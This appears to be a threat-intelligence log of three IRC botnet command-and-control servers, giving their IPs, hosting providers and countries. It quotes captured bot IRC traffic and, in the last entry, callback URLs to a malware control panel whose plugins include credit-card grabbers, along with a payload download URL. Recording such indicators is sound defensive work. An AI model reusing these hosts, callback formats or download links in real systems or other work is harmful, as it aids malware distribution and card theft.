z3k4nt2.cdmon.org(irc botnet hosted in United States Phoenix Ipower Inc)

Uncategorized

Remote Host Port Number 184.73.170.26 80 72.22.88.171 6464 NICK {XPUSA564335} PRIVMSG #canal3 :.::[Update]::. File download: 172.0KB to: C:DOCUME~1UserNameLOCALS~1Temperaseme_01435.exe @ 172.0KB/sec. QUIT Brb, Updating to new Binary. NICK {XPUSA75801} USER COMPUTERNAME * 0 :COMPUTERNAME MODE {XPUSA75801} -ix JOIN #canal4 MODE #canal4 -ix MODE {XPUSA564335} -ix JOIN #canal3 MODE #canal3 -ix infos about hosting: http://whois.domaintools.com/72.22.88.171

188.165.191.17(irc botnet hosted in France Xeon Host)

Uncategorized

Remote Host Port Number 188.165.191.17 1234 PASS xxx 204.0.5.41 80 63.135.80.224 80 63.135.80.46 80 69.171.224.11 80 MODE NEW-[USA|00|P|72247] -ix JOIN #!nw! test PONG 22 MOTD NICK NEW-[USA|00|P|72247] USER XP-0778 * 0 :COMPUTERNAME UPDATE: NICK NEW-[USA|00|P|29503] USER XP-0159 * 0 :COMPUTERNAME MODE NEW-[USA|00|P|29503] -ix JOIN #!nn! test PONG 22 MOTD infos about hosting: http://whois.domaintools.com/188.165.191.17

46.17.100.229(irc botnet hosted in Russian Federation Mir Telematiki Ltd)

Uncategorized

Remote Host Port Number 46.17.100.229 4443 NICK N[USA|XP][kqrogxv] USER kqro “” “lol” :kqro JOIN #b0ts PONG 422 PRIVMSG #b0ts :[Download]: Succeeded using primary method [WinInet: 231 KB] * The data identified by the following URLs was then requested from the remote web server: o http://quantummechanic.cc/cp/gate_billing.php?guid=UserName!COMPUTERNAME!00CD1A40 o http://quantummechanic.cc/cp/gate.php?guid=UserName!COMPUTERNAME!00CD1A40&ver=10299&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=Admin&plg=billinghammer;ccgrabber;creditgrab;webfakes&cpu=100&ccrc=3696A42A&md5=963fc26a9538c289359b7c5bbd597838 o http://zer0day.co.cc/win32.exe infos about hosting: http://whois.domaintools.com/46.17.100.229